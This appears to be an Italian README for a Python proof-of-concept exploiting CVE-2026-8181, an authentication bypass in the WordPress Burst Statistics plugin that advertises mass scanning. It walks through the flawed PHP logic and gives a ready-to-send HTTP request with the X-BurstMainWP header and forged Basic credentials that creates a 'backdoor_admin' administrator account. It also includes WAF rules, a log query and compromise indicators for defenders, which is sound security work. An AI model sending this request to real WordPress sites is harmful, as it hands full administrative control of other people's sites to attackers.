PoC in Python per CVE-2026-8181, un bypass critico dell'autenticazione nel plugin WordPress Burst Statistics. Include automazione dell'exploit, scansione in massa e creazione di account amministratore per test di sicurezza autorizzati.
-brightgreen.svg?style=for-the-badge){kind=icon}
[!CAUTION] ALLERTA CRITICA: Questa vulnerabilità consente a un attaccante remoto non autenticato di bypassare l'autenticazione e ottenere pieni privilegi di Amministratore sul sito WordPress di destinazione semplicemente iniettando un header HTTP personalizzato. Questa CVE è attualmente sfruttata attivamente in natura.
CVE-2026-8181 è una vulnerabilità critica di bypass dell'autenticazione che colpisce il plugin WordPress Burst Statistics (versioni 3.4.0 fino alla 3.4.1.1). Il difetto risiede nell'integrazione del proxy MainWP del plugin. A causa di una validazione impropria delle password applicative durante l'hook anticipato plugins_loaded, il plugin concede erroneamente il contesto amministrativo alle richieste REST API che includono l'header X-BurstMainWP: 1, anche se la richiesta è priva di credenziali valide.
Questo trasforma una semplice richiesta HTTP non autenticata in una completa presa di controllo amministrativa, bypassando tutti i meccanismi standard di autenticazione di WordPress.
Per capire come un semplice header possa consegnare le chiavi del regno, dobbiamo analizzare la logica PHP all'interno del gestore di autenticazione del plugin.
La vulnerabilità deriva da un ramo condizionale gestito in modo errato in includes/Frontend/class-mainwp-proxy.php, all'interno del metodo is_mainwp_authenticated().
init() su plugins_loaded con priorità 9. Questo avviene troppo presto nel ciclo di vita di WordPress.X-BurstMainWP: 1, has_admin_access() delega l'autenticazione a is_mainwp_authenticated().Authorization e inoltra le credenziali alla funzione del core di WordPress wp_authenticate_application_password().application_password_is_api_request a true (a causa dell'esecuzione anticipata dell'hook), la funzione del core restituisce null invece di un oggetto WP_Error.is_wp_error( $user ). Poiché null non è un WP_Error, il controllo viene superato.wp_set_current_user() con il nome utente fornito dall'attaccante, elevando istantaneamente la richiesta a pieno contesto amministrativo.// Simplified representation of the vulnerable code in Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // Correctly handles explicit authentication failures
}
// 🚨 THE FATAL FLAW 🚨
// If no application password is provided or API request isn't flagged yet,
// wp_authenticate_application_password returns NULL.
// The code fails to check for NULL!
if ( $user === null ) {
// Instead of failing securely, it falls through to this unsafe branch:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // BOOM: Admin context granted!
return true;
}
Questa sezione è dedicata a Red Teamer e Penetration Tester Autorizzati.
/wp-content/plugins/burst-statistics/readme.txt).GET /wp-json/wp/v2/users. Se bloccata, usare il trucco dell'archivio autori: /?author=1.POST /wp-json/wp/v2/users.X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null e promuove la richiesta al contesto Amministratore. Il nuovo utente amministratore viene creato.POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] Avvertenza Ambientale: Questo exploit richiede che l'header
Authorizationraggiunga PHP.
- Nginx / LiteSpeed / Apache con Pretty Permalinks: L'header viene inoltrato. L'exploit HA SUCCESSO.
- Apache con Permalink Semplici (Predefinito): L'header viene silenziosamente rimosso dal web server. L'exploit FALLISCE.
Questa sezione è dedicata a Blue Teamer, Analisti SOC e Amministratori di Sistema.
Bloccare o monitorare l'header specifico al perimetro.
Regola ModSecurity / OWASP CRS:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Regola Personalizzata Cloudflare WAF:
(http.request.headers["X-BurstMainWP"] eq "1")
Cercare nei log del web server la presenza dell'header in combinazione con la creazione di utenti tramite REST API.
Query Splunk / ELK:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
Se sospetti una violazione, cerca questi artefatti post-exploitation:
wp_users per utenti creati tramite REST API con il ruolo administrator.wp-content/plugins/ per upload non autorizzati (spesso webshell camuffate da plugin legittimi).wp-content/themes/ o nei file del core.